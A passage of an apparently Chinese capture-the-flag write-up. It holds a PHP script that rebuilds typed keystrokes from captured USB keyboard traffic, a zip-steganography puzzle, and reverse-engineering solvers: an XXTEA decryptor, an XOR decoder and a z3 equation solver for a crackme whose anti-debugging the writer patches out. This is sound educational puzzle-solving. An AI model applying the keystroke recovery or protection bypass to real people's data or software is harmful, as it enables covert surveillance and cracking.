&quot;1d&quot;=&amp;gt;&quot;Z&quot;,&quot;1e&quot;=&amp;gt;&quot;!&quot;, &quot;1f&quot;=&amp;gt;&quot;@&quot;, &quot;20&quot;=&amp;gt;&quot;#&quot;, &quot;21&quot;=&amp;gt;&quot;$&quot;,
&quot;22&quot;=&amp;gt;&quot;%&quot;, &quot;23&quot;=&amp;gt;&quot;^&quot;,&quot;24&quot;=&amp;gt;&quot;&amp;amp;&quot;,&quot;25&quot;=&amp;gt;&quot;*&quot;,&quot;26&quot;=&amp;gt;&quot;(&quot;,&quot;27&quot;=&amp;gt;&quot;)&quot;,
&quot;28&quot;=&amp;gt;&quot;&amp;lt;RET&amp;gt;&quot;,&quot;29&quot;=&amp;gt;&quot;&amp;lt;ESC&amp;gt;&quot;,&quot;2a&quot;=&amp;gt;&quot;&amp;lt;DEL&amp;gt;&quot;, &quot;2b&quot;=&amp;gt;&quot;\t&quot;,&quot;2c&quot;=&amp;gt;&quot;&amp;lt;SPACE&amp;gt;&quot;,
&quot;2d&quot;=&amp;gt;&quot;_&quot;,&quot;2e&quot;=&amp;gt;&quot;+&quot;,&quot;2f&quot;=&amp;gt;&quot;{&quot;,&quot;30&quot;=&amp;gt;&quot;}&quot;,&quot;31&quot;=&amp;gt;&quot;|&quot;,&quot;32&quot;=&amp;gt;&quot;&amp;lt;NON&amp;gt;&quot;,&quot;33&quot;=&amp;gt;&quot;\&quot;&quot;,
&quot;34&quot;=&amp;gt;&quot;=&amp;gt;&quot;,&quot;35&quot;=&amp;gt;&quot;~&quot;,&quot;36&quot;=&amp;gt;&quot;&amp;lt;&quot;,&quot;37&quot;=&amp;gt;&quot;&amp;gt;&quot;,&quot;38&quot;=&amp;gt;&quot;?&quot;,&quot;39&quot;=&amp;gt;&quot;&amp;lt;CAP&amp;gt;&quot;,&quot;3a&quot;=&amp;gt;&quot;&amp;lt;F1&amp;gt;&quot;,
&quot;3b&quot;=&amp;gt;&quot;&amp;lt;F2&amp;gt;&quot;, &quot;3c&quot;=&amp;gt;&quot;&amp;lt;F3&amp;gt;&quot;,&quot;3d&quot;=&amp;gt;&quot;&amp;lt;F4&amp;gt;&quot;,&quot;3e&quot;=&amp;gt;&quot;&amp;lt;F5&amp;gt;&quot;,&quot;3f&quot;=&amp;gt;&quot;&amp;lt;F6&amp;gt;&quot;,&quot;40&quot;=&amp;gt;&quot;&amp;lt;F7&amp;gt;&quot;,
&quot;41&quot;=&amp;gt;&quot;&amp;lt;F8&amp;gt;&quot;,&quot;42&quot;=&amp;gt;&quot;&amp;lt;F9&amp;gt;&quot;,&quot;43&quot;=&amp;gt;&quot;&amp;lt;F10&amp;gt;&quot;,&quot;44&quot;=&amp;gt;&quot;&amp;lt;F11&amp;gt;&quot;,&quot;45&quot;=&amp;gt;&quot;&amp;lt;F12&amp;gt;&quot;];

$res = &quot;&quot;;
$caps = false;
$has_cap = false;

$la = -1;
foreach( $pkgs as $pkg ) {
    if( $pkg -&amp;gt; _source -&amp;gt; layers -&amp;gt; usb -&amp;gt; {&apos;usb.src&apos;} !== &quot;1.2.3&quot; )
        continue;
    $layers = $pkg -&amp;gt; _source -&amp;gt; layers;
    $data = $layers -&amp;gt; {&apos;usbhid.data&apos;};
    $hid_data = explode( &apos;:&apos;, $data );
    $p = 3;
    while( $hid_data[ $p + 1 ] != 0 )
        $p ++;
    $shift = false;
    if( $hid_data[1] == 2 )
        $shift = true;
    echo $data . &quot; / &quot;;
    echo $hid_data[$p] . &quot;:&quot;;
    if( $hid_data[$p] === &apos;00&apos; ) {
        $la = -1;
        $has_cap = 0;
        echo &quot;\n&quot;;
        continue;
    }
    $cur_cap = false;
    $key=$keys[$hid_data[$p]];
    for( $j = 3; $j &amp;lt;= $p; $j ++ ) {
        echo $keys[$hid_data[$j]] . &quot;:&quot;;
        if( $keys[$hid_data[$j]] === &apos;&amp;lt;CAP&amp;gt;&apos; )
            $cur_cap = true;
    }
    if( $cur_cap != $has_cap &amp;amp;&amp;amp; $cur_cap ) {
        $caps ^= 1;
        $has_cap = $cur_cap;
        echo &quot;\n&quot;;
        continue;
    }
    $has_cap = $cur_cap;
    echo $has_cap . &quot;/&quot; . $caps . &quot;\n&quot;;

    if( $key == &apos;&amp;lt;CAP&amp;gt;&apos; )
        continue;
    if( $key &amp;gt;= &apos;a&apos; &amp;amp;&amp;amp; $key &amp;lt;= &apos;z&apos; ) {
        $is_upper = $caps ^ $shift;
        if( $is_upper )
            $res .= strtoupper($key);
        else
            $res .= $key;
    }
    else if( $key == &apos;&amp;lt;DEL&amp;gt;&apos; ) {
        $res = substr( $res, 0, -1 );
    }
    else {
        if( $shift )
            $res .= $shift_keys[ $hid_data[ $p ] ];
        else
            $res .= $key;
    }
}
echo $res;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Maybezip&lt;/h3&gt;
&lt;p&gt;很明显的异或一个常数。&lt;/p&gt;
&lt;p&gt;得到 zip。&lt;/p&gt;
&lt;p&gt;注意到压缩包时间有规律，考虑直接按二进制解码最后一位。&lt;/p&gt;
&lt;p&gt;解出来当密码。&lt;/p&gt;
&lt;p&gt;解压。&lt;/p&gt;
&lt;p&gt;得到很长一段神秘数字。&lt;/p&gt;
&lt;p&gt;注意到密码中的 tupper。&lt;/p&gt;
&lt;p&gt;有请 &lt;a href=&quot;https://tuppers-formula.ovh/&quot;&gt;https://tuppers-formula.ovh/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;得到一个神似二维码的东西。&lt;/p&gt;
&lt;p&gt;但是不太是。&lt;/p&gt;
&lt;p&gt;猜测是 micro qrcode。&lt;/p&gt;
&lt;p&gt;扫描得到 flag。&lt;/p&gt;
&lt;h2&gt;Reverse&lt;/h2&gt;
&lt;h3&gt;again!&lt;/h3&gt;
&lt;p&gt;这个题目是真不懂。&lt;/p&gt;
&lt;p&gt;观察 bin2，注意到按 32 位循环，然后有所修改。&lt;/p&gt;
&lt;p&gt;异或了一下前两位发现 &lt;code&gt;MZ&lt;/code&gt;。直接异或下来一整串。&lt;/p&gt;
&lt;p&gt;果然是个 exe，扔进 IDA 发现就是个 xxtea，解密即可。&lt;/p&gt;
&lt;p&gt;题外话：其实我逆了 pyc，但是实在没看出来和上面有什么关系。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdint&amp;gt;

#define DELTA 0x7937B99E
#define MX (((z&amp;gt;&amp;gt;5^y&amp;lt;&amp;lt;2) + (y&amp;gt;&amp;gt;3^z&amp;lt;&amp;lt;4)) ^ ((sum^y) + (key[(p&amp;amp;3)^e] ^ z)))

void btea(uint32_t* v, int n, uint32_t const key[4]) {
    uint32_t y, z, sum;
    unsigned p, rounds, e;
    if (n &amp;gt; 1) {          /* Coding Part */
        rounds = /*6 + */52 / n;
        sum = 0;
        z = v[n - 1];
        do {
            sum += DELTA;
            e = (sum &amp;gt;&amp;gt; 2) &amp;amp; 3;
            for (p = 0; p &amp;lt; n - 1; p++) {
                y = v[p + 1];
                z = v[p] += MX;
            }
            y = v[0];
            z = v[n - 1] += MX;
        } while (--rounds);
    }
    else if (n &amp;lt; -1) {  /* Decoding Part */
        n = -n;
        rounds = 12;
        sum = rounds * DELTA;
        y = v[0];
        do {
            e = (sum &amp;gt;&amp;gt; 2) &amp;amp; 3;
            for (p = n - 1; p &amp;gt; 0; p--) {
                z = v[p - 1];
                y = v[p] -= MX;
            }
            z = v[n - 1];
            y = v[0] -= MX;
        } while ((sum -= DELTA) != 0);
    }
}

unsigned char enc[] =
{
    0xC3, 0xB5, 0x6F, 0x50, 0x45, 0x8F, 0x35, 0xB9, 0xC7, 0xE8,
    0x1A, 0xC9, 0x80, 0xE2, 0x20, 0x38, 0x83, 0xBA, 0x3A, 0xD1,
    0x54, 0xF5, 0x5C, 0x97, 0x6B, 0x03, 0x52, 0x43, 0x47, 0x04,
    0xD2, 0x1C
};

int main() {
    uint32_t key[4];
    key[0] = 4660;
    key[1] = 9025;
    key[2] = 13330;
    key[3] = 16675;
    btea( (uint32_t*) enc, -8, key );
    char *p = (char*)enc;
    for( int i = 0; i &amp;lt; 32; i ++ )
        printf( &quot;%c&quot;, p[i] );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;change&lt;/h3&gt;
&lt;p&gt;两个函数交替按位加密。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/*
 * tmp.cpp 2024-02-27
 * Copyright (C) 2024 Woshiluo Luo &amp;lt;woshiluo.luo@outlook.com&amp;gt;
 *
 * 「Two roads diverged in a wood,and I—
 * I took the one less traveled by,
 * And that has made all the difference.」
 *
 * Distributed under terms of the GNU GNU AGPLv3+ license.
 */

#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdint&amp;gt;
#include &amp;lt;cstring&amp;gt;
#include &amp;lt;cstdlib&amp;gt;

#include &amp;lt;vector&amp;gt;
#include &amp;lt;algorithm&amp;gt;

using i32 = int32_t;
using u32 = uint32_t;
using ci32 = const int32_t;
using cu32 = const uint32_t;

using i64 = int64_t;
using u64 = uint64_t;
using ci64 = const int64_t;
using cu64 = const uint64_t;

inline bool isdigit( const char cur ) { return cur &amp;gt;= &apos;0&apos; &amp;amp;&amp;amp; cur &amp;lt;= &apos;9&apos;; }/*{{{*/
template &amp;lt;class T&amp;gt;
T Max( T a, T b ) { return a &amp;gt; b? a: b; }
template &amp;lt;class T&amp;gt;
T Min( T a, T b ) { return a &amp;lt; b? a: b; }
template &amp;lt;class T&amp;gt;
void chk_Max( T &amp;amp;a, T b ) { if( b &amp;gt; a ) a = b; }
template &amp;lt;class T&amp;gt;
void chk_Min( T &amp;amp;a, T b ) { if( b &amp;lt; a ) a = b; }
template &amp;lt;typename T&amp;gt;
T read() {
    T sum = 0, fl = 1;
    char ch = getchar();
    for (; isdigit(ch) == 0; ch = getchar())
        if (ch == &apos;-&apos;) fl = -1;
    for (; isdigit(ch); ch = getchar()) sum = sum * 10 + ch - &apos;0&apos;;
    return sum * fl;
}
template &amp;lt;class T&amp;gt;
T pow( T a, i32 p ) {
    T res = 1;
    while( p ) {
        if( p &amp;amp; 1 )
            res = res * a;
        a = a * a;
        p &amp;gt;&amp;gt;= 1;
    }
    return res;
}/*}}}*/

const char key[] = &quot;am2qasl&quot;;

unsigned char enc[] =
{
    0x13, 0x0A, 0x5D, 0x1C, 0x0E, 0x08, 0x23, 0x06, 0x0B, 0x4B,
    0x38, 0x22, 0x0D, 0x1C, 0x48, 0x0C, 0x66, 0x15, 0x48, 0x1B,
    0x0D, 0x0E, 0x10, 0x4F, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00,
    0x00, 0x00
};

int main() {
#ifdef woshiluo
    freopen( &quot;tmp.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;tmp.out&quot;, &quot;w&quot;, stdout );
#endif

    const int lk = strlen(key);
    for( int i = 0; i &amp;lt; (int)sizeof(enc); i ++ ) {
        if( i % 2 ) {
            enc[i] ^= key[ i % lk ];
        }
        else {
            enc[i] -= 10;
            enc[i] ^= key[ i % lk ];
        }
    }
    for( int i = 0; i &amp;lt; (int)sizeof(enc); i ++ ) {
        printf( &quot;%c&quot;, enc[i] );
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;crackme2&lt;/h3&gt;
&lt;p&gt;很明显的异常处理和反调试。&lt;/p&gt;
&lt;p&gt;patch 反调试，拖进 x64dbg，导出内存，逆向，得到一车等式。&lt;/p&gt;
&lt;p&gt;直接解速度很慢，发现位运算只有左移，替换成乘法，秒出结果。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#! /usr/bin/env python3
# vim:fenc=utf-8
#
# Copyright © 2024 Woshiluo Luo &amp;lt;woshiluo.luo@outlook.com&amp;gt;
#
# Distributed under terms of the GNU AGPLv3+ license.

from z3 import *

a_0 =  Int(&apos;a_0&apos; )
a_1 =  Int(&apos;a_1&apos; )
a_2 =  Int(&apos;a_2&apos; )
a_3 =  Int(&apos;a_3&apos; )
a_4 =  Int(&apos;a_4&apos; )
a_5 =  Int(&apos;a_5&apos; )
a_6 =  Int(&apos;a_6&apos; )
a_7 =  Int(&apos;a_7&apos; )
a_8 =  Int(&apos;a_8&apos; )
a_9 =  Int(&apos;a_9&apos; )
a_10 = Int(&apos;a_10&apos;)
a_11 = Int(&apos;a_11&apos;)
a_12 = Int(&apos;a_12&apos;)
a_13 = Int(&apos;a_13&apos;)
a_14 = Int(&apos;a_14&apos;)
a_15 = Int(&apos;a_15&apos;)
a_16 = Int(&apos;a_16&apos;)
a_17 = Int(&apos;a_17&apos;)
a_18 = Int(&apos;a_18&apos;)
a_19 = Int(&apos;a_19&apos;)
a_20 = Int(&apos;a_20&apos;)
a_21 = Int(&apos;a_21&apos;)
a_22 = Int(&apos;a_22&apos;)
a_23 = Int(&apos;a_23&apos;)
a_24 = Int(&apos;a_24&apos;)
a_25 = Int(&apos;a_25&apos;)
a_26 = Int(&apos;a_26&apos;)
a_27 = Int(&apos;a_27&apos;)
a_28 = Int(&apos;a_28&apos;)
a_29 = Int(&apos;a_29&apos;)
a_30 = Int(&apos;a_30&apos;)
a_31 = Int(&apos;a_31&apos;)
v1 = a_25;
v2 = a_21;
v3 = a_31;
v4 = a_29;
v5 = a_0;
v6 = a_23;
v7 = a_8;
v8 = a_28;
v9 = a_12;
v10 = a_3;
v11 = a_2;
v19 = a_30;
v15 = a_18;
v16 = a_24;
v27 = a_11;
v17 = a_26;
v30 = a_14;
v40 = a_7;
v26 = a_20;
v37 = 2 * v26;
v42 = a_22;
v28 = a_1;
v25 = a_27;
v21 = a_19;
v23 = a_16;
v31 = a_13;
v29 = a_10;
v41 = a_5;
v24 = a_4;
v20 = a_15;
v39 = a_17;
v22 = a_6;
v18 = a_9;
s=Solver()

v37 = 2 * v26
s.add( v18 + 201 * v24 + 194 * v10 + 142 * v20 + 114 * v39 + 103 * v11 + 52 * (v17 + v31) + ((v9 + v23) * 64) + 14 * (v21 + 4 * v25 + v25) + 9 * (v40 + 23 * v27 + v2 + 3 * v1 + 4 * v2 + 4 * v6) + 5 * (v16 + 23 * v30 + 2 * (v3 + 2 * v19) + 5 * v5 + 39 * v15 + 51 * v4) + 24 * (v8 + 10 * v28 + 4 * (v42 + v7 + 2 * v26)) + 62 * v22 + 211 * v41 + 212 * v29 == 296473  )
v38 = 2 * v16
s.add( 207 * v41 + 195 * v22 + 151 * v40 + 57 * v5 + 118 * v6 + 222 * v42 + 103 * v7 + 181 * v8 + 229 * v9 + 142 * v31 + 51 * v29 + 122 * (v26 + v20) + 91 * (v2 + 2 * v16) + 107 * (v27 + v25) + 81 * (v17 + 2 * v18 + v18) + 45 * (v19 + 2 * (v11 + v24) + v11 + v24) + 4 * (3 * (v23 + a_19 + 2 * v23 + 5 * v4) + v39 + 29 * (v10 + v1) + 25 * v15) + 26 * v28 + 101 * v30 + 154 * v3 == 354358 )
s.add( 177 * v40 + 129 * v26 + 117 * v42 + 143 * v28 + 65 * v8 + 137 * v25 + 215 * v21 + 93 * v31 + 235 * v39 + 203 * v11 + 15 * (v7 + 17 * v30) + 2 * (v24 + 91 * v9 + 95 * v29 + 51 * v41 + 81 * v20 + 92 * v18 + 112 * (v10 + v6) + 32 * (v22 + 2 * (v1 + v23)) + 6 * (v2 + 14 * v16 + 19 * v15) + 83 * v5 + 53 * v4 + 123 * v19) + v17 + 175 * v27 + 183 * v3 == 448573 )
s.add( 113 * v19 + 74 * v3 + 238 * v6 + 140 * v2 + 214 * v26 + 242 * v8 + 160 * v21 + 136 * v23 + 209 * v9 + 220 * v31 + 50 * v24 + 125 * v10 + 175 * v20 + 23 * v39 + 137 * v22 + 149 * v18 + 83 * (v4 + 2 * v30) + 21 * (9 * v29 + v16) + 59 * (4 * v27 + v17) + 41 * (v1 + v41) + 13 * (v7 + 11 * (v40 + v15) + 6 * v42 + 4 * (v28 + 2 * v11) + v28 + 2 * v11 + 17 * v5) + 36 * v25 == 384306 )
s.add( 229 * v21 + 78 * v1 + v2 + v9 + 133 * v27 + 74 * v6 + 69 * v26 + 243 * v7 + 98 * v28 + 253 * v8 + 142 * v25 + 175 * v31 + 105 * v41 + 221 * v10 + 121 * v39 + 218 * (v19 + v29) + 199 * (v24 + v30) + 33 * (v40 + 7 * v17) + 4 * (27 * v20 + 50 * v11 + 45 * v18 + 19 * (v3 + v42) + v16 + 16 * v23 + 52 * v4) + 195 * v22 + 211 * v5 + 153 * v15 == 424240 )
s.add( 181 * v25 + 61 * v2 + 65 * v21 + 58 * v31 + 170 * v29 + 143 * v24 + 185 * v10 + 86 * v11 + 97 * v22 + 235 * (v23 + v27) + 3 * (53 * v41 + 74 * (v8 + v3) + 13 * (v42 + 6 * v9) + 11 * (v39 + 7 * v20) + 15 * (v18 + 4 * v17) + v7 + 35 * v1 + 29 * v15) + 4 * (57 * v6 + 18 * (v5 + v37) + v28 + 17 * v16 + 55 * v30) + 151 * v40 + 230 * v4 + 197 * v19 == 421974 )
v33 = 2 * v41
s.add( 209 * v21 + 249 * v30 + 195 * v2 + 219 * v25 + 201 * v39 + 85 * v18 + 213 * (v17 + v31) + 119 * (v11 + 2 * v41) + 29 * (8 * v24 + v40 + 4 * v27 + v27) + 2 * (v8 + 55 * (2 * v29 + v19) + 3 * (v10 + 39 * v9 + 2 * (v6 + 20 * v20) + 35 * v7) + 4 * (v5 + 31 * v42 + 28 * v3) + 26 * v28 + 46 * (v37 + v16) + 98 * v1) + 53 * v23 + 171 * v15 + 123 * v4 == 442074 )
v32 = 2 * v18
s.add( 162 * v19 + 74 * v5 + 28 * v27 + 243 * v42 + 123 * v28 + 73 * v8 + 166 * v23 + 94 * v24 + 113 * v11 + 193 * v22 + 122 * (v6 + 2 * v7) + 211 * (v10 + v25) + 21 * (v17 + 7 * v41) + 11 * (v4 + 23 * (v16 + v39) + 2 * (v40 + 5 * v30 + 2 * (2 * v18 + v29) + 2 * v18 + v29)) + 5 * (46 * v9 + 26 * v20 + 4 * (v31 + 2 * v21) + v15 + 27 * v2 + 10 * v1) + 36 * (v3 + 5 * v26) == 376007 )
v35 = v25 + v30
s.add( 63 * v19 + 143 * v5 + 250 * v6 + 136 * v2 + 214 * v40 + 62 * v26 + 221 * v42 + 226 * v7 + 171 * v28 + 178 * v8 + 244 * v23 + (v9 * 128) + 150 * v31 + 109 * v29 + 70 * v41 + 127 * v20 + 204 * v39 + 121 * v22 + 173 * v18 + 69 * (v25 + v30 + v27) + 74 * (v16 + 2 * v15 + v15) + 22 * (7 * v24 + v17 + 10 * v11) + 40 * (v1 + 4 * v21 + v21) + 81 * v10 + 94 * v4 + 84 * v3 == 411252 )
s.add( 229 * v15 + 121 * v4 + 28 * v30 + 206 * v16 + 145 * v27 + 41 * v1 + 247 * v6 + 118 * v26 + 241 * v28 + 79 * v8 + 102 * v25 + 124 * v23 + 65 * v9 + 68 * v31 + 239 * v17 + 148 * v24 + 245 * v39 + 115 * v11 + 163 * v22 + 137 * v18 + 53 * (v5 + 2 * v29) + 126 * (v40 + 2 * v10) + 38 * (v7 + v21 + 4 * v7 + 6 * v41) + 12 * (v2 + 16 * v42) + 109 * v20 + 232 * v3 + 47 * v19 == 435012 )
s.add( 209 * v21 + 233 * v40 + 93 * v1 + 241 * v2 + 137 * v8 + 249 * v17 + 188 * v29 + 86 * v24 + 246 * v10 + 149 * v20 + 99 * v11 + 37 * v22 + 219 * v18 + 17 * (v6 + 10 * v25) + 49 * (v5 + 3 * v3 + 4 * v28 + v28) + 5 * (16 * v39 + 11 * (v41 + 2 * v27 + v27) + 12 * v7 + v31 + 30 * v16 + 27 * v19) + 18 * (v23 + 2 * (v4 + v26 + 2 * v4) + v4 + v26 + 2 * v4) + 24 * v9 + 109 * v42 + 183 * v30 + 154 * v15 == 392484 )
v34 = 2 * v31
s.add( 155 * v15 + 247 * v40 + 157 * v28 + 119 * v23 + 161 * v17 + 133 * v20 + 85 * v22 + 229 * (v7 + v24) + 123 * (2 * v31 + v42) + 21 * (v41 + 12 * v30) + 55 * (v9 + v5 + v18 + 2 * v5) + 15 * (v3 + 16 * v10 + 9 * v21) + 2 * (v2 + 115 * v29 + 111 * v16 + 26 * v6 + 88 * v8 + 73 * v39 + 71 * v11 + 28 * (v26 + 2 * (v25 + 2 * v1)) + 51 * v27 + 99 * v4 + 125 * v19) == 437910 )
s.add( 220 * v3 + 200 * v4 + 139 * v15 + 33 * v5 + 212 * v30 + 191 * v16 + 30 * v27 + 233 * v1 + 246 * v6 + 89 * v2 + 252 * v40 + 223 * v42 + 19 * v25 + 141 * v21 + 163 * v9 + 185 * v17 + 136 * v31 + 46 * v24 + 109 * v10 + 217 * v39 + 75 * v22 + 157 * v18 + 125 * (v11 + v19) + 104 * (v33 + v20) + 43 * (v28 + 2 * v29 + v29) + 32 * (v8 + v7 + 2 * v8 + 2 * (v23 + v26)) == 421905 )
s.add( 211 * v24 + 63 * v15 + 176 * v5 + 169 * v16 + 129 * v27 + 146 * v40 + 111 * v26 + 68 * v42 + 39 * v25 + 188 * v23 + 130 * v9 + (v31 * 64) + 91 * v41 + 208 * v20 + 145 * v39 + 247 * v18 + 93 * (v22 + v17) + 71 * (v6 + 2 * v11) + 103 * (v8 + 2 * v30) + 6 * (v21 + 10 * v28 + 28 * v7 + 9 * v29 + 19 * v2 + 24 * v1 + 22 * v3) + 81 * v10 + 70 * v4 + 23 * v19 == 356282 )
v12 = v10 + 2 * (v31 + 4 * (v29 + v17)) + v31 + 4 * (v29 + v17)
s.add( 94 * v42 + 101 * v2 + 152 * v40 + 200 * v7 + 226 * v8 + 211 * v23 + 121 * v24 + 74 * v11 + 166 * v18 + ((v6 + 3 * v28) * 64) + 41 * (4 * v9 + v21) + 23 * (v39 + 11 * v41) + 7 * (v20 + 10 * v25 + 2 * v12 + v12) + 3 * (78 * v30 + 81 * v16 + 55 * v27 + 73 * v1 + 4 * v26 + v15 + 85 * v3 + 65 * v19) + 62 * v22 + 88 * v5 + 110 * v4 == 423091 )
s.add( 133 * v22 + 175 * v15 + 181 * v30 + 199 * v16 + 123 * v27 + 242 * v1 + 75 * v6 + 69 * v2 + 153 * v40 + 33 * v26 + 100 * v42 + 229 * v7 + 177 * v8 + 134 * v31 + 179 * v29 + 129 * v41 + 14 * v10 + 247 * v24 + 228 * v20 + 92 * v11 + 86 * (v9 + v32) + 94 * (v23 + v21) + 37 * (v17 + 4 * v3) + 79 * (v25 + 2 * v28) + 72 * v5 + 93 * v39 + 152 * v4 + 214 * v19 == 391869 )
s.add( 211 * v24 + 213 * v18 + 197 * v40 + 159 * v25 + 117 * v21 + 119 * v9 + 98 * v17 + 218 * v41 + 106 * v39 + 69 * v11 + 43 * (v2 + v29 + 2 * v2) + 116 * (v4 + v10 + v37) + 5 * (v42 + 9 * v23 + 35 * v20 + 37 * v31) + 11 * (v16 + 13 * v27 + 5 * v5 + 8 * v30) + 6 * (29 * v28 + 25 * v8 + 38 * v22 + v15 + 13 * v1 + 10 * v3) + 136 * v7 + 142 * v6 + 141 * v19 == 376566 )
s.add( 173 * v3 + 109 * v15 + 61 * v30 + 187 * v1 + 79 * v6 + 53 * v40 + 184 * v21 + 43 * v23 + 41 * v9 + 166 * v31 + 193 * v41 + 58 * v24 + 146 * v10 + (v20 * 64) + 89 * v39 + 121 * v11 + 5 * (v17 + 23 * v8) + 7 * (29 * v18 + v29 + 4 * v7) + 13 * (3 * v42 + v16 + 7 * v26 + 13 * v2) + 3 * (v4 + 83 * v5 + 51 * v27 + 33 * v22 + 8 * (v19 + 4 * v28) + 18 * v25) == 300934 )
v36 = 3 * v21
s.add( 78 * v1 + 131 * v5 + 185 * v16 + 250 * v40 + 90 * v26 + 129 * v42 + 255 * v28 + 206 * v8 + 239 * v25 + 150 * v10 + 253 * v39 + 104 * v22 + 58 * (v2 + 2 * v7) + 96 * (v15 + v31) + 117 * (v9 + 2 * v4) + 27 * (v17 + 8 * v18 + v18) + 19 * (v23 + 3 * v21 + 4 * v29 + v29) + 7 * (22 * v41 + 3 * (v11 + 11 * v24) + v3 + 29 * v6 + 14 * v27) + 109 * v20 + 102 * v30 + 100 * v19 == 401351 )
s.add( 233 * v19 + 71 * v5 + 209 * v27 + 82 * v6 + 58 * v26 + 53 * v25 + 113 * v23 + 206 * v31 + 39 * v41 + 163 * v20 + 222 * v11 + 191 * v18 + 123 * (v7 + v40) + 69 * (v9 + 2 * v22 + v22) + 9 * (v3 + 8 * v24 + 7 * (3 * v1 + v28) + 5 * v16 + 19 * v30) + 4 * (v15 + 26 * v17 + 61 * v29 + 43 * v42 + 49 * v2 + 32 * v4) + 10 * (7 * (v8 + v36) + v39 + 12 * v10) == 368427 )
s.add( 139 * v30 + 53 * v5 + 158 * v16 + 225 * v1 + 119 * v6 + 67 * v2 + 213 * v40 + 188 * v28 + 152 * v8 + 187 * v21 + 129 * v23 + 54 * v9 + 125 * v17 + 170 * v24 + 184 * v11 + 226 * v22 + 253 * v18 + 26 * (v29 + v41) + 97 * (v4 + 2 * v25) + 39 * (5 * v26 + v27) + 21 * (v39 + 8 * v42) + 12 * (17 * v10 + v31 + 15 * v7 + 12 * v19) + 165 * v20 + 88 * v15 + 157 * v3 == 403881 )
s.add( 114 * v3 + 61 * v27 + 134 * v40 + 62 * v42 + 89 * v9 + 211 * v17 + 163 * v41 + 66 * v24 + 201 * (v7 + v18) + 47 * (5 * v16 + v22) + 74 * (v4 + v31) + 142 * (v2 + v28) + 35 * (v20 + 6 * v26) + 39 * (v15 + 6 * v30) + 27 * (v25 + 9 * v23 + 8 * v6) + 4 * (v21 + 63 * v19 + 2 * (v1 + 12 * (v10 + v5) + 8 * v11 + 26 * v29)) + 10 * (v8 + 4 * v39 + v39) == 382979 )
s.add( 122 * v25 + 225 * v21 + 52 * v23 + 253 * v9 + 197 * v17 + 187 * v31 + 181 * v29 + 183 * v41 + 47 * v20 + 229 * v39 + 88 * v22 + 127 * (v10 + v32) + 37 * (v7 + 3 * v3) + ((v11 + 2 * v30 + v30) * 64) + 7 * (21 * v8 + v27 + 18 * (v4 + v1 + v38)) + 6 * (23 * v24 + v26 + 17 * v2 + 39 * v6) + 10 * (v5 + 11 * v28 + 21 * v42) + 149 * v19 + 165 * v40 + 121 * v15 == 435695 )
s.add( 165 * v20 + 223 * v4 + 249 * v5 + 199 * v1 + 135 * v2 + 133 * v26 + 254 * v42 + 111 * v7 + 189 * v28 + 221 * v25 + 115 * v21 + 186 * v9 + 79 * v41 + 217 * v24 + 122 * v11 + 38 * v18 + 109 * (v34 + v29) + 14 * (v8 + 17 * v40 + 8 * (v6 + v38)) + 4 * (11 * (5 * v30 + v39) + 6 * (v10 + 2 * v22) + v27 + 52 * v17 + 50 * v23) + 229 * v15 + 86 * v3 + 234 * v19 == 453748 )
s.add( 181 * v25 + 94 * v42 + 125 * v1 + 226 * v26 + 155 * v7 + 95 * v21 + 212 * v17 + 91 * v31 + 194 * v29 + 98 * v24 + 166 * v11 + 120 * v22 + 59 * v18 + 32 * (v9 + v8) + 158 * (v6 + v5) + 101 * (v41 + v19) + 63 * (v4 + 2 * v23) + 67 * (v28 + 2 * v20) + 11 * (v39 + 10 * v16 + 11 * v10) + 39 * (v30 + 4 * (v2 + v15)) + 233 * v40 + 56 * v27 + 225 * v3 == 358321 )
s.add( 229 * v21 + 135 * v4 + 197 * v15 + 118 * v5 + 143 * v16 + 134 * v6 + 204 * v40 + 173 * v26 + 81 * v7 + 60 * v28 + 58 * v8 + 179 * v23 + 142 * v9 + 178 * v17 + 230 * v31 + 148 * v29 + 224 * v41 + 194 * v24 + 223 * v10 + 87 * v20 + 200 * v39 + 233 * v11 + 49 * v22 + 127 * v35 + 31 * (4 * v27 + v18) + 42 * (v1 + 6 * v2) + 109 * v42 + 75 * v3 + 165 * v19 == 456073 )
s.add( 41 * v4 + 253 * v3 + 163 * v15 + 193 * v30 + 155 * v16 + 113 * v27 + 131 * v6 + 55 * v2 + 21 * v40 + 53 * v26 + 13 * v8 + 201 * v25 + 237 * v9 + 223 * v31 + 95 * v24 + 194 * v20 + 62 * v39 + 119 * v11 + 171 * v22 + 135 * v18 + 69 * (v10 + 3 * v28) + 211 * (v1 + v29) + 4 * (43 * v7 + v42 + 40 * v17) + 6 * (v5 + 33 * v41 + 20 * (2 * v19 + v21) + 24 * v23) == 407135 )
v13 = v6 + v1 + 8 * v6 + 4 * (v8 + 2 * v27)
s.add( 111 * v19 + 190 * v3 + 149 * v4 + 173 * v28 + 118 * v23 + 146 * v29 + 179 * v10 + 51 * v20 + 49 * v39 + 61 * v11 + 125 * v22 + 162 * v18 + 214 * v35 + 14 * (v34 + v24) + 178 * (v41 + v16) + 11 * (4 * v9 + v21 + 17 * v42) + 65 * (v26 + v17 + 2 * v26 + 2 * v5) + 4 * (v7 + 38 * v15 + 4 * v13 + v13 + 8 * v40 + 43 * v2) == 369835 )
s.add( 27 * v27 + 223 * v6 + 147 * v26 + 13 * v21 + 35 * (v17 + 7 * v4) + 57 * (v19 + v32 + 3 * v11) + 11 * (v1 + 17 * (v9 + v5) + 10 * v16 + 3 * v31) + 2 * (53 * v23 + v25 + 38 * v15 + 43 * v42 + 115 * v29 + 61 * v22 + 111 * (v10 + v40) + 14 * (v20 + v7 + 2 * v7 + 8 * v28) + 109 * v2 + 100 * v41 + 63 * v8) + 93 * v39 + 251 * v30 + 131 * v3 == 393303 )
